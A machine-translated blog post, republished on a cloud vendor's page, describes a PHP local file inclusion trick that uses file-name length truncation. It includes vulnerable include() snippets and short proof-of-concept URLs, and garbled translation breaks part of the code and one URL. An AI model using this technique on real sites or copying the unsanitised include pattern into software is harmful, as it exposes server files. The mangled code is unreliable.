Php include function bug

Source: Internet
Author: User

* Author: ring04h
* Creation Time:

Most of the time, we can audit the following source code:

<? Php
Include cert/. $ rootdir.. php;
?>

How do you get it to include your files?
Can only contain local php scripts?
I can't do it anymore?

When a file is processed by a Windows and Linux file system, when the file name length exceeds the specified limit, the excess characters at the end are truncated.
Here, we can use this feature to implement the % 00 truncation function for php <4.

POC:
Http://dream4.org/include.php? Rootdir = ../info.txt
In this way, the specified file is successfully included.

<? Php
Include $ rootdir./config. inc. php;
?>

Similarly, POC:
Http://dream4.org/include.php? Rootdir1_info.txt

Test environment: Windows server 2008 + Apache/2.2.8 + PHP Version 5.2.6

Bug fix: NO

Note: This BUG should be very old, but I encountered this problem before, so I posted it and forgot it.
I hope everyone can write out interesting ideas. All free!

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.